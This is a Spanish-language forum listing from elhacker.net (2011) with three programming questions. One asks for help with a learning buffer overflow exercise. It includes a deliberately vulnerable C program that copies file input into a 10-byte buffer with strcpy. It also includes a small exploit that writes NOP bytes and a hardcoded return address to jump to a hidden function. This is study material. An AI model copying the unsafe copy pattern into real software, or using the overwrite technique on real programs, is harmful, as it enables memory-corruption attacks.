elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: [1]
1  Programación / Programación C/C++ / [DUDA] ¿Existe alguna funcion en C/C++ para manipular el bluetooth? en: 23 Febrero 2011, 22:57 pm
Buenas tardes, me gustaria saber si alguno de los usuarios de foro.elhacker.net sabe
si existe alguna funcion que haga esto, mi idea es realizar un programa para usar como llave mi celular... Me explico:

Quiero que mi Laptop solo pueda ser accesada si mi bluetooth de mi celular esta cerca... si no.. quiero que mi PC se blokee automaticamente...

Si alguien me puede ayudar, agradeceria mucho la respuesta luego si me resulta comparto el code :), o quizas si alguien quiere intentar desarrollarlo conmigo, ¿Por qué no?

Saludos!
2  Programación / Programación C/C++ / [Duda] Programacion C y parametros en: 23 Febrero 2011, 02:29 am
Bueno, hace un tiempo me preguntaba... como funcionaban los comandos en la consola...

Ejemplo: en CMD cuando usamos el comando shutdown -a -t90

Me preguntaba si puedo hacer un programa en C al cual le pueda enviar parametros de esa forma... alguna idea?
3  Programación / Programación C/C++ / [ Ayuda ] BufferOverflow en Windows en: 13 Febrero 2011, 15:30 pm
Me gustaría me pudieran ayudar con el Exploit para el BufferOverflow,
el codigo lo copie de una publicacion de  Ikary.-

El problema ocurre en el retorno... Accedo a la funcion oculta...
Sin embargo luego sale la tipica ventanita de No Enviar...

Testeado en WindXP SP3, con Dev-c++.-

A continuación el programa Vulnerable a BoF:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. int LeerFichero( char *, char *, int );
  6. int FuncionVulnerable( char * );
  7. int FuncionOculta();
  8.  
  9. main()
  10. {
  11.      char buffer[1000];
  12.      char nombre[] = "archivo.txt";
  13.      LeerFichero( buffer, nombre, 1000 );
  14.      FuncionVulnerable( buffer );
  15.      system( "pause" );
  16.      return 0;    
  17. }
  18.  
  19. int LeerFichero( char *Fbuffer, char *Fnombre, int Limite ){
  20.    int c, n=0;
  21.    FILE *f;
  22.    f = fopen( Fnombre, "r" );
  23.    while( ( c = getc(f) ) != EOF ){
  24.        if( n<Limite )
  25.            Fbuffer[n++] = c;
  26.    }
  27.    Fbuffer[n++] = 0;
  28.    fclose(f);
  29.    return 0;
  30. }
  31.  
  32. int FuncionVulnerable( char *cptr ){
  33.    char buff[10] = "Datos";                
  34.    strcpy( buff, cptr );
  35.    printf( " %s\n\n ", buff );
  36.    return 0;
  37. }
  38.  
  39. int FuncionOculta(  )
  40. {
  41.    printf( "  Descubriste la Funcion Oculta!" );
  42.    return 0;
  43. }
  44.  
  45.  
  46.  

Y este es el exploit, programado en C, es una variación del source de Ikary, que lo hizo en C++:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. main()
  6. {
  7.      char ret[] = "\xEC\x13\x40\x00";
  8.      char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  9.                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  10.                    "\x90\x90\x90\x90\x90\x90\x90\x90";
  11.  
  12.      FILE *arch;
  13.      arch = fopen( "archivo.txt", "w" );
  14.  
  15.      printf( "\n%s\n", ret );
  16.      printf( "\n%s\n", nops );
  17.  
  18.      fputs( nops, arch );
  19.      fputs( ret, arch );
  20.      fclose( arch );
  21.      printf( "\n\nExploit Listaylor\n" );
  22.      getchar();
  23.      return 0;
  24. }
  25.  
  26.  

Si alguien me pudiera dar la teoria de que ocurre para intentar programarlo, lo agradecería muchísimo =]
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines